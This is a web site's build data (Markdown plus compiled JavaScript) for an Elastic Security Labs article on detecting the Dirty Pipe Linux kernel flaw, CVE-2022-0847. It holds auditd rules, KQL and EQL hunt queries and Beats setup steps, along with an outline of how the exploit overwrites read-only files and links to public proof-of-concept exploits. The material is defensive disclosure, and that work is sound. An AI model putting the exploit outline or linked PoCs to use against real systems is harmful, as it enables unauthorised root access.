Component;"},"_id":"categories/vulnerability-updates.mdx","_raw":{"sourceFilePath":"categories/vulnerability-updates.mdx","sourceFileName":"vulnerability-updates.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/vulnerability-updates"},"type":"Category","url":"/categories/vulnerability-updates"}]},{"title":"Detecting and responding to Dirty Pipe with Elastic","slug":"detecting-and-responding-to-dirty-pipe-with-elastic","date":"2022-09-09","description":"Elastic Security is releasing detection logic for the Dirty Pipe exploit.","image":"photo-edited-01@2x.jpg","body":{"raw":"\n## Preamble\n\nDirty Pipe is a local privilege escalation vulnerability that is easily exploitable with a handful of working exploit POCs already available. Its broad scope (any user-readable file and affected Linux versions) along with its evolving nature (the SUID shell backdoor exploit) make CVE-2022-0847 especially dangerous for administrators of systems that are potentially vulnerable.\n\n### What is Dirty Pipe (CVE-2022-0847)?\n\n[CVE-2022-0847](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847) is a Linux local privilege escalation vulnerability, discovered by security researcher Max Kellermann that takes advantage of the way the Linux kernel manages page files and named pipes allowing for the overwriting of data in read-only files. This vulnerability impacts Linux kernels 5.8 and later until any version before 5.16.11, 5.15.25, and 5.10.102.\n\n### What is the impact?\n\nWith many POC’s already released, this vulnerability can be easily exploited to gain root-level privileges by, for instance, rewriting sensitive files like “/etc/passwd” or hijacking a SUID root binary (like sudo) via injection of malicious code.\n\n### What is Elastic doing about it?\n\nElastic is releasing detection logic and Auditd rules that can be used to detect exploitation of this vulnerability.\n\n## Dirty Pipe Details\n\nThe vulnerability can be exploited due to a flaw in the new pipe buffer structure where a flag member lacked proper initialization and could then contain a stale value. This could then be used to write to pages within the page cache behind read-only files, allowing for privilege escalation. Given the specific nature of this vulnerability, detection can be quite difficult.\n\n### Linux Pipes \u0026 CVE-2022-0847\n\n[Pipes](https://man7.org/linux/man-pages/man2/pipe.2.html) are an interprocess communication mechanism represented as a file within Linux that can receive input data and provide an output for that data. The output of one process can become the input of another using a “pipe” to forward that data between.\n\nPipes are managed by the CPU in memory and their data is referred to as a “page”.\n\nThe exploitation of this vulnerability utilizes a process called “page splicing”. Page splicing is used to merge data between different pipe pages in memory without having to rewrite the data.\n\nThe flag we referenced in the summary is the PIPE_BUF_FLAG_CAN_MERGE flag. This must be set in order for a page cache to be merged and is only set when the pipe page becomes full. Howerver, if the page cache is emptied completely this flag remains (lack of initialization) which is where the problem lies.\n\nThe exploit functions generally by:\n\n1. Opening a new pipe\n2. Filling the pipe’s page cache with arbitrary data in order to set the PIPE_BUF_FLAG_CAN_MERGE flag\n3. Draining the page cache of data but retaining the PIPE_BUF_FLAG_CAN_MERGE flag and replacing the data with the new data they want to overwrite a read-only file with\n4. The splice (“page splicing”) [syscall](https://man7.org/linux/man-pages/man2/syscalls.2.html) is then used to merge the pages (the pipe page and target file page) leading to the new data being added to a target file bypassing the read-only permissions\n\nMany of the exploit POCs observed so far target the /etc/passwd file to overwrite and provide the users with elevated root privileges. Other variants of the exploit released allow for the creation of a SUID shell backdoor by overwriting a binary that has SUID permissions (superuser capabilities) giving the user a root shell and complete control.\n\nWe anticipate that adversaries and researchers will develop a multitude of other exploitation chains with this particular vulnerability.\n\n### Proof Of Concept Code\n\nThe security community has developed a multitude of different tests that adversaries may take advantage of in future attacks against systems. POCs listed below are authored to help security researchers identify if systems are impacted by the vulnerability, and furthermore - test detection strategies.\n\n- Original Max Kellermann write-up: [https://dirtypipe.cm4all.com/](https://dirtypipe.cm4all.com/)\n- SUID shell: [https://haxx.in/files/dirtypipez.c](https://haxx.in/files/dirtypipez.c)\n- Passwd overwrite: [https://github.com/liamg/traitor](https://github.com/liamg/traitor)\n- Passwd overwrite: [https://github.com/imfiver/CVE-2022-0847](https://github.com/imfiver/CVE-2022-0847)\n- Metasploit module: [https://github.com/rapid7/metasploit-framework/pull/16303](https://github.com/rapid7/metasploit-framework/pull/16303)\n\n## Finding systems vulnerable to Dirty Pipe\n\nBeyond using a traditional vulnerabilty scanner, there are several ways to detect systems vulnerable to Dirty Pipe.\n\n### Using the Elastic Security Integration\n\nIf you have Auditbeat, Filebeat (with the Auditd module enabled), or the Elastic Agent (with the Security or Auditd integrations deployed) you can use the Lens visualization tool (located in Kibana) to quickly compile and save a list of vulnerable systems as evidenced in the screenshot below:\n\n\n\n### Using the Osquery Manager Integration\n\nAdditionally, you can use the [Osquery Manager integration](https://docs.elastic.co/en/integrations/osquery_manager) to collect the kernel information from all endpoints. To do this, you need to add the Osquery Manager integration to an Elastic Agent policy (Integrations → Osquery Manager → Add Osquery Manager). Once you’ve added the integration, you can perform a simple query: SELECT version FROM kernel_info; which will return the hostname and Linux kernel version from all endpoints with the policy.\n\n\n\n## Detecting CVE-2022-0847 exploitation using Auditd\n\n[Auditd](https://linux.die.net/man/8/auditd) is the userspace component of the Linux Auditing System. Auditd stands for Audit Daemon and is a background running service responsible for collecting and writing log files to disk. The Linux Audit System includes a kernel component that hooks system calls and communicates those to Auditd. Auditd is capable of logging System Calls, File Access, and certain pre-configured Audit events. You can install and enable Auditd for free with the package manager on your Linux distribution of choice.\n\n### Auditd rules\n\nAuditd rules define what is to be captured and logged. These rules are generally defined in an audit.rules file and placed at /etc/audit/audit.rules or /etc/audit/rules.d/audit.rules. Events are written to /var/log/audit/audit.log on the local system.\n\nOnce you have installed and enabled Auditd, you can add the below lines to your audit.rules file to detect Dirty Pipe exploitation attempts.\n\n```\nDirty Pipe Auditd rules\n\n-a always,exit -F arch=b64 -S splice -F a0=0x3 -F a2=0x5 -F a3=0x0 -F key=dirtypipe\n-a always,exit -F arch=b64 -S splice -F a0=0x6 -F a2=0x8 -F a3=0x0 -F key=dirtypipe\n-a always,exit -F arch=b64 -S splice -F a0=0x7 -F a2=0x9 -F a3=0x0 -F key=dirtypipe\n```\n\n\u003e The aforementioned rules were adapted by Elastic Security from initial findings by [Jonas LeJon](https://twitter.com/jonasl/status/1501840914381258756).\n\n## Linux Auditing System event collection with Elastic\n\nThere are a few different ways to collect Linux Auditing System events using Elastic. You can either use the Elastic Agent with the Auditd integration, Auditbeat, or the Auditd module for Filebeat.\n\n\u003e Remember, if you’re using the Auditd integrations for the Elastic Agent or Filebeat, you’ll need to create the [Auditd rules described above](https://www.elastic.co/security-labs/detecting-and-responding-to-dirty-pipe-with-elastic#auditd-rules).\n\n### The Elastic Agent w/Auditd Integration\n\nThe Elastic Agent with the [Auditd Integration](https://docs.elastic.co/en/integrations/auditd) allows for the collection of Auditd rules. To collect these events, you need to add the Auditd integration to an Elastic Agent policy (Integrations → Auditd → Add Auditd).\n\n\n\nOnce this integration is installed to an Elastic Agent policy and deployed to endpoints, you will see Auditd events populated in Kibana.\n\nYou can verify that you are receiving Auditd events in Kibana by using the Kibana query event.dataset : \"auditd.log\".\n\n### Auditbeat\n\nYou can use the [Auditbeat Auditd module](https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-auditd.html) to collect the Linux Audit Framework logs. To do this, [install Auditbeat](https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-installation-configuration.html). You might encounter errors if another process besides Auditbeat, such as Auditd, is registered to receive data from the Linux Audit Framework. To prevent this conflict, you can stop and disable Auditd from running.\n\n```\nStopping and disabling Auditd\n\nsudo service auditd.service stop\nsudo chkconfig auditd.service off\n```\n\nEdit the /etc/auditbeat/auditbeat.yml file to point to your local, remote, or cloud cluster and add the Dirty Pipe rules provided above in the Auditd rules section.\n\n```\nAdding Dirty Pipe detection rules to the Auditbeat configuration file\n\n# ===== Modules configuration =====\n\nauditbeat.modules:\n\n* module: auditd\n\n# Load audit rules from separate files. Same format as audit.rules(7)\n\n audit_rule_files: [ '${path.config}/audit.rules.d/*.conf' ]\n audit_rules: |\n\n## Define audit rules here\n\n## Create file watches (-w) or syscall audits (-a or -A). Uncomment these\n\n## examples or add your own rules\n\n -a always,exit -F arch=b64 -S splice -F a0=0x3 -F a2=0x5 -F a3=0x0 -F key=dirtypipe\n -a always,exit -F arch=b64 -S splice -F a0=0x6 -F a2=0x8 -F a3=0x0 -F key=dirtypipe\n -a always,exit -F arch=b64 -S splice -F a0=0x7 -F a2=0x9 -F a3=0x0 -F key=dirtypipe\n\n…truncated…\n```\n\nCheck the configuration and connectivity of Auditbeat using the test commands.\n\n```\nTesting the Auditbeat configuration and output settings\n\nsudo auditbeat test config\nsudo auditbeat test output\n```\n\nRun the Auditbeat setup command using sudo auditbeat setup.\n\nStart Auditbeat using sudo systemctl start auditbeat.service.\n\nNow you should be able to verify events are being populated in the auditbeat-\\* Data View within Kibana.\n\n\n\n### Filebeat\n\nYou can use the [Auditd module for Filebeat](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-auditd.html) to collect the Auditd logs as well. To do this, [install Filebeat](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-installation-configuration.html) and then enable the Auditd module\n\nsudo filebeat modules enable auditd\n\nNext, go into the Auditd configuration file and enable log collection, test, setup, and then start Filebeat.\n\n```\nEnabling Auditd log in the Filebeat configuration file\n\nsudo vi /etc/filebeat/modules.d/auditd.yml\n\n# Module: auditd\n\n# Docs: \u003chttps://www.elastic.co/guide/en/beats/filebeat/master/filebeat-module-auditd.html\u003e\n\n* module: auditd\n log:\n enabled: true\n\n# Set custom paths for the log files. If left empty\n\n# Filebeat will choose the paths depending on your OS\n\n #var.paths:\n\n```\n\n```\nTesting the Filebeat configuration and output settings\n\nsudo filebeat test config\nsudo filebeat test output\n```\n\nRun the Filebeat setup command using sudo filebeat setup.\n\nStart Filebeat using sudo systemctl start filebeat.service.\n\n## Detecting Dirty Pipe with Elastic\n\nNow that Linux Audit Framework events are being populated by either the Elastic Agent, Auditbeat, or Filebeat, you can run queries to detect exploitation attempts using the Kibana Query Language (KQL) in Discover or the Endpoint Query Language (EQL) in Kibana’s Security → Timelines → New Timeline → Correlation query editor.\n\n### Hunt queries in Kibana\n\nKQL query compatible with using the Elastic Agent, Auditbeat, or Filebeat:\n\n```\nKQL query to detect Dirty Pipe exploitation attempts\n\nauditd.log.key : dirtypipe and process.name : *\n\n```\n\nEQL query compatible with using the Auditbeat:\n\n```\nEQL query to detect Dirty Pipe exploitation attempts\n\nprocess where tags : \"dirtypipe\" and not process.name : \"\"\n```\n\n### Detection Engine alerts\n\nYou can also create a Detection Engine alert to monitor for exploitation attempts.\n\n\n\nExploitation attempts will be recorded in the Kibana Security Solution in the Alerts section.\n\n\n\n## Respond to Observed Threats\n\nElastic makes it easy to quickly respond to a threat by isolating the host while still allowing it to communicate with your stack in order to continue monitoring actions taken and/or remediate the threat.\n\n\n\n## Defense in Depth Recommendations\n\nThe following steps can be leveraged to improve a network’s protective posture:\n\n1. Review and ensure that you have deployed the latest stable and vendor-supplied kernel for your OS’\n2. Review and implement the above detection logic within your environment using technology described in the post\n3. Maintain backups of your critical systems to aid in quick recovery\n\n## References\n\nThe following research was referenced throughout the document:\n\n- Exploit CVE reference: [CVE-2022-0847](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847)\n- Write-up using eBPF for some detections: [https://sysdig.com/blog/cve-2022-0847-dirty-pipe-sysdig](https://sysdig.com/blog/cve-2022-0847-dirty-pipe-sysdig/)\n- Original Max Kellermann write-up: [https://dirtypipe.cm4all.com/](https://dirtypipe.cm4all.com/)\n- SUID shell: [https://haxx.in/files/dirtypipez.c](https://haxx.in/files/dirtypipez.c)\n- Passwd overwrite: [https://github.com/liamg/traitor](https://github.com/liamg/traitor)\n- Passwd overwrite: [https://github.com/imfiver/CVE-2022-0847](https://github.com/imfiver/CVE-2022-0847)\n- Metasploit module: [https://github.com/rapid7/metasploit-framework/pull/16303](https://github.com/rapid7/metasploit-framework/pull/16303)\n- Original Auditd detection logic: [https://twitter.com/jonasl/status/1501840914381258756?s=20\u0026t=MIWwwXpl5t0JiopVxX5M5Q](https://twitter.com/jonasl/status/1501840914381258756?s=20\u0026t=MIWwwXpl5t0JiopVxX5M5Q)\n","code":"var Component=(()=\u003e{var h=Object.create;var l=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var f=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),y=(i,e)=\u003e{for(var n in e)l(i,n,{get:e[n],enumerable:!0})},o=(i,e,n,r)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of p(e))!m.call(i,a)\u0026\u0026a!==n\u0026\u0026l(i,a,{get:()=\u003ee[a],enumerable:!(r=u(e,a))||r.enumerable});return i};var b=(i,e,n)=\u003e(n=i!=null?h(g(i)):{},o(e||!i||!i.__esModule?l(n,\"default\",{value:i,enumerable:!0}):n,i)),w=i=\u003eo(l({},\"__esModule\",{value:!0}),i);var s=f((E,d)=\u003e{d.exports=_jsx_runtime});var F={};y(F,{default:()=\u003eA,frontmatter:()=\u003ev});var t=b(s()),v={title:\"Detecting and responding to Dirty Pipe with Elastic\",slug:\"detecting-and-responding-to-dirty-pipe-with-elastic\",date:\"2022-09-09\",description:\"Elastic Security is releasing detection logic for the Dirty Pipe exploit.\",author:[{slug:\"colson-wilhoit\"},{slug:\"samir-bousseaden\"},{slug:\"jake-king\"},{slug:\"andrew-pease\"}],image:\"photo-edited-01@2x.jpg\",category:[{slug:\"security-research\"}]};function c(i){let e=Object.assign({h2:\"h2\",p:\"p\",h3:\"h3\",a:\"a\",ol:\"ol\",li:\"li\",ul:\"ul\",img:\"img\",pre:\"pre\",code:\"code\",blockquote:\"blockquote\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,t.jsx)(e.p,{children:\"Dirty Pipe is a local privilege escalation vulnerability that is easily exploitable with a handful of working exploit POCs already available. Its broad scope (any user-readable file and affected Linux versions) along with its evolving nature (the SUID shell backdoor exploit) make CVE-2022-0847 especially dangerous for administrators of systems that are potentially vulnerable.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"what-is-dirty-pipe-cve-2022-0847\",children:\"What is Dirty Pipe (CVE-2022-0847)?\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847\",rel:\"nofollow\",children:\"CVE-2022-0847\"}),\" is a Linux local privilege escalation vulnerability, discovered by security researcher Max Kellermann that takes advantage of the way the Linux kernel manages page files and named pipes allowing for the overwriting of data in read-only files. This vulnerability impacts Linux kernels 5.8 and later until any version before 5.16.11, 5.15.25, and 5.10.102.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"what-is-the-impact\",children:\"What is the impact?\"}),`\n`,(0,t.jsx)(e.p,{children:\"With many POC\\u2019s already released, this vulnerability can be easily exploited to gain root-level privileges by, for instance, rewriting sensitive files like \\u201C/etc/passwd\\u201D or hijacking a SUID root binary (like sudo) via injection of malicious code.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"what-is-elastic-doing-about-it\",children:\"What is Elastic doing about it?\"}),`\n`,(0,t.jsx)(e.p,{children:\"Elastic is releasing detection logic and Auditd rules that can be used to detect exploitation of this vulnerability.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"dirty-pipe-details\",children:\"Dirty Pipe Details\"}),`\n`,(0,t.jsx)(e.p,{children:\"The vulnerability can be exploited due to a flaw in the new pipe buffer structure where a flag member lacked proper initialization and could then contain a stale value. This could then be used to write to pages within the page cache behind read-only files, allowing for privilege escalation. Given the specific nature of this vulnerability, detection can be quite difficult.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"linux-pipes--cve-2022-0847\",children:\"Linux Pipes \u0026 CVE-2022-0847\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://man7.org/linux/man-pages/man2/pipe.2.html\",rel:\"nofollow\",children:\"Pipes\"}),\" are an interprocess communication mechanism represented as a file within Linux that can receive input data and provide an output for that data. The output of one process can become the input of another using a \\u201Cpipe\\u201D to forward that data between.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Pipes are managed by the CPU in memory and their data is referred to as a \\u201Cpage\\u201D.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The exploitation of this vulnerability utilizes a process called \\u201Cpage splicing\\u201D. Page splicing is used to merge data between different pipe pages in memory without having to rewrite the data.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The flag we referenced in the summary is the PIPE_BUF_FLAG_CAN_MERGE flag. This must be set in order for a page cache to be merged and is only set when the pipe page becomes full. Howerver, if the page cache is emptied completely this flag remains (lack of initialization) which is where the problem lies.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The exploit functions generally by:\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Opening a new pipe\"}),`\n`,(0,t.jsx)(e.li,{children:\"Filling the pipe\\u2019s page cache with arbitrary data in order to set the PIPE_BUF_FLAG_CAN_MERGE flag\"}),`\n`,(0,t.jsx)(e.li,{children:\"Draining the page cache of data but retaining the PIPE_BUF_FLAG_CAN_MERGE flag and replacing the data with the new data they want to overwrite a read-only file with\"}),`\n`,(0,t.jsxs)(e.li,{children:[\"The splice (\\u201Cpage splicing\\u201D) \",(0,t.jsx)(e.a,{href:\"https://man7.org/linux/man-pages/man2/syscalls.2.html\",rel:\"nofollow\",children:\"syscall\"}),\" is then used to merge the pages (the pipe page and target file page) leading to the new data being added to a target file bypassing the read-only permissions\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Many of the exploit POCs observed so far target the /etc/passwd file to overwrite and provide the users with elevated root privileges. Other variants of the exploit released allow for the creation of a SUID shell backdoor by overwriting a binary that has SUID permissions (superuser capabilities) giving the user a root shell and complete control.\"}),`\n`,(0,t.jsx)(e.p,{children:\"We anticipate that adversaries and researchers will develop a multitude of other exploitation chains with this particular vulnerability.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"proof-of-concept-code\",children:\"Proof Of Concept Code\"}),`\n`,(0,t.jsx)(e.p,{children:\"The security community has developed a multitude of different tests that adversaries may take advantage of in future attacks against systems. POCs listed below are authored to help security researchers identify if systems are impacted by the vulnerability, and furthermore - test detection strategies.\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"Original Max Kellermann write-up: \",(0,t.jsx)(e.a,{href:\"https://dirtypipe.cm4all.com/\",rel:\"nofollow\",children:\"https://dirtypipe.cm4all.com/\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"SUID shell: \\u200B\\u200B\",(0,t.jsx)(e.a,{href:\"https://haxx.in/files/dirtypipez.c\",rel:\"nofollow\",children:\"https://haxx.in/files/dirtypipez.c\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Passwd overwrite: \",(0,t.jsx)(e.a,{href:\"https://github.com/liamg/traitor\",rel:\"nofollow\",children:\"https://github.com/liamg/traitor\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Passwd overwrite: \\u200B\\u200B\",(0,t.jsx)(e.a,{href:\"https://github.com/imfiver/CVE-2022-0847\",rel:\"nofollow\",children:\"https://github.com/imfiver/CVE-2022-0847\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Metasploit module: \",(0,t.jsx)(e.a,{href:\"https://github.com/rapid7/metasploit-framework/pull/16303\",rel:\"nofollow\",children:\"https://github.com/rapid7/metasploit-framework/pull/16303\"})]}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"finding-systems-vulnerable-to-dirty-pipe\",children:\"Finding systems vulnerable to Dirty Pipe\"}),`\n`,(0,t.jsx)(e.p,{children:\"Beyond using a traditional vulnerabilty scanner, there are several ways to detect systems vulnerable to Dirty Pipe.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"using-the-elastic-security-integration\",children:\"Using the Elastic Security Integration\"}),`\n`,(0,t.jsx)(e.p,{children:\"If you have Auditbeat, Filebeat (with the Auditd module enabled), or the Elastic Agent (with the Security or Auditd integrations deployed) you can use the Lens visualization tool (located in Kibana) to quickly compile and save a list of vulnerable systems as evidenced in the screenshot below:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detecting-and-responding-to-dirty-pipe-with-elastic/dirty-pipe-with-elastic-image7.png\",alt:\"Analyzing your infrastructure for kernel versions impacted by Dirty Pipe\",width:\"1440\",height:\"791\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"using-the-osquery-manager-integration\",children:\"Using the Osquery Manager Integration\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Additionally, you can use the \",(0,t.jsx)(e.a,{href:\"https://docs.elastic.co/en/integrations/osquery_manager\",rel:\"nofollow\",children:\"Osquery Manager integration\"}),\" to collect the kernel information from all endpoints. To do this, you need to add the Osquery Manager integration to an Elastic Agent policy (Integrations \\u2192 Osquery Manager \\u2192 Add Osquery Manager). Once you\\u2019ve added the integration, you can perform a simple query: SELECT version FROM kernel_info; which will return the hostname and Linux kernel version from all endpoints with the policy.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detecting-and-responding-to-dirty-pipe-with-elastic/dirty-pipe-with-elastic-image3.jpg\",alt:\"Using Osquery Manager to collect kernel versions\",width:\"1440\",height:\"591\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"detecting-cve-2022-0847-exploitation-using-auditd\",children:\"Detecting CVE-2022-0847 exploitation using Auditd\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://linux.die.net/man/8/auditd\",rel:\"nofollow\",children:\"Auditd\"}),\" is the userspace component of the Linux Auditing System. Auditd stands for Audit Daemon and is a background running service responsible for collecting and writing log files to disk. The Linux Audit System includes a kernel component that hooks system calls and communicates those to Auditd. Auditd is capable of logging System Calls, File Access, and certain pre-configured Audit events. You can install and enable Auditd for free with the package manager on your Linux distribution of choice.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"auditd-rules\",children:\"Auditd rules\"}),`\n`,(0,t.jsx)(e.p,{children:\"Auditd rules define what is to be captured and logged. These rules are generally defined in an audit.rules file and placed at /etc/audit/audit.rules or /etc/audit/rules.d/audit.rules. Events are written to /var/log/audit/audit.log on the local system.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Once you have installed and enabled Auditd, you can add the below lines to your audit.rules file to detect Dirty Pipe exploitation attempts.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`Dirty Pipe Auditd rules\n\n-a always,exit -F arch=b64 -S splice -F a0=0x3 -F a2=0x5 -F a3=0x0 -F key=dirtypipe\n-a always,exit -F arch=b64 -S splice -F a0=0x6 -F a2=0x8 -F a3=0x0 -F key=dirtypipe\n-a always,exit -F arch=b64 -S splice -F a0=0x7 -F a2=0x9 -F a3=0x0 -F key=dirtypipe\n`})}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsxs)(e.p,{children:[\"The aforementioned rules were adapted by Elastic Security from initial findings by \",(0,t.jsx)(e.a,{href:\"https://twitter.com/jonasl/status/1501840914381258756\",rel:\"nofollow\",children:\"Jonas LeJon\"}),\".\"]}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"linux-auditing-system-event-collection-with-elastic\",children:\"Linux Auditing System event collection with Elastic\"}),`\n`,(0,t.jsx)(e.p,{children:\"There are a few different ways to collect Linux Auditing System events using Elastic. You can either use the Elastic Agent with the Auditd integration, Auditbeat, or the Auditd module for Filebeat.\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsxs)(e.p,{children:[\"Remember, if you\\u2019re using the Auditd integrations for the Elastic Agent or Filebeat, you\\u2019ll need to create the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/detecting-and-responding-to-dirty-pipe-with-elastic#auditd-rules\",rel:\"nofollow\",children:\"Auditd rules described above\"}),\".\"]}),`\n`]}),`\n`,(0,t.jsx)(e.h3,{id:\"the-elastic-agent-wauditd-integration\",children:\"The Elastic Agent w/Auditd Integration\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The Elastic Agent with the \",(0,t.jsx)(e.a,{href:\"https://docs.elastic.co/en/integrations/auditd\",rel:\"nofollow\",children:\"Auditd Integration\"}),\" allows for the collection of Auditd rules. To collect these events, you need to add the Auditd integration to an Elastic Agent policy (Integrations \\u2192 Auditd \\u2192 Add Auditd).\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detecting-and-responding-to-dirty-pipe-with-elastic/dirty-pipe-with-elastic-image6.png\",alt:\"Elastic Agent Auditd integration\",width:\"1440\",height:\"836\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Once this integration is installed to an Elastic Agent policy and deployed to endpoints, you will see Auditd events populated in Kibana.\"}),`\n`,(0,t.jsx)(e.p,{children:'You can verify that you are receiving Auditd events in Kibana by using the Kibana query event.dataset : \"auditd.log\".'}),`\n`,(0,t.jsx)(e.h3,{id:\"auditbeat\",children:\"Auditbeat\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"You can use the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-auditd.html\",rel:\"nofollow\",children:\"Auditbeat Auditd module\"}),\" to collect the Linux Audit Framework logs. To do this, \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-installation-configuration.html\",rel:\"nofollow\",children:\"install Auditbeat\"}),\". You might encounter errors if another process besides Auditbeat, such as Auditd, is registered to receive data from the Linux Audit Framework. To prevent this conflict, you can stop and disable Auditd from running.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`Stopping and disabling Auditd\n\nsudo service auditd.service stop\nsudo chkconfig auditd.service off\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"Edit the /etc/auditbeat/auditbeat.yml file to point to your local, remote, or cloud cluster and add the Dirty Pipe rules provided above in the Auditd rules section.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`Adding Dirty Pipe detection rules to the Auditbeat configuration file\n\n# ===== Modules configuration =====\n\nauditbeat.modules:\n\n* module: auditd\n\n# Load audit rules from separate files. Same format as audit.rules(7)\n\n audit_rule_files: [ '\\${path.config}/audit.rules.d/*.conf' ]\n audit_rules: |\n\n## Define audit rules here\n\n## Create file watches (-w) or syscall audits (-a or -A). Uncomment these\n\n## examples or add your own rules\n\n -a always,exit -F arch=b64 -S splice -F a0=0x3 -F a2=0x5 -F a3=0x0 -F key=dirtypipe\n -a always,exit -F arch=b64 -S splice -F a0=0x6 -F a2=0x8 -F a3=0x0 -F key=dirtypipe\n -a always,exit -F arch=b64 -S splice -F a0=0x7 -F a2=0x9 -F a3=0x0 -F key=dirtypipe\n\n\\u2026truncated\\u2026\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"Check the configuration and connectivity of Auditbeat using the test commands.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`Testing the Auditbeat configuration and output settings\n\nsudo auditbeat test config\nsudo auditbeat test output\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"Run the Auditbeat setup command using sudo auditbeat setup.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Start Auditbeat using sudo systemctl start auditbeat.service.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Now you should be able to verify events are being populated in the auditbeat-* Data View within Kibana.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detecting-and-responding-to-dirty-pipe-with-elastic/dirty-pipe-with-elastic-image4.jpg\",alt:\"Auditbeat Data View in Kibana\",width:\"1438\",height:\"806\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"filebeat\",children:\"Filebeat\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"You can use the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-auditd.html\",rel:\"nofollow\",children:\"Auditd module for Filebeat\"}),\" to collect the Auditd logs as well. To do this, \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-installation-configuration.html\",rel:\"nofollow\",children:\"install Filebeat\"}),\" and then enable the Auditd module\"]}),`\n`,(0,t.jsx)(e.p,{children:\"sudo filebeat modules enable auditd\"}),`\n`,(0,t.jsx)(e.p,{children:\"Next, go into the Auditd configuration file and enable log collection, test, setup, and then start Filebeat.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`Enabling Auditd log in the Filebeat configuration file\n\nsudo vi /etc/filebeat/modules.d/auditd.yml\n\n# Module: auditd\n\n# Docs: \u003chttps://www.elastic.co/guide/en/beats/filebeat/master/filebeat-module-auditd.html\u003e\n\n* module: auditd\n log:\n enabled: true\n\n# Set custom paths for the log files. If left empty\n\n# Filebeat will choose the paths depending on your OS\n\n #var.paths:\n\n`})}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`Testing the Filebeat configuration and output settings\n\nsudo filebeat test config\nsudo filebeat test output\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"Run the Filebeat setup command using sudo filebeat setup.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Start Filebeat using sudo systemctl start filebeat.service.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"detecting-dirty-pipe-with-elastic\",children:\"Detecting Dirty Pipe with Elastic\"}),`\n`,(0,t.jsx)(e.p,{children:\"Now that Linux Audit Framework events are being populated by either the Elastic Agent, Auditbeat, or 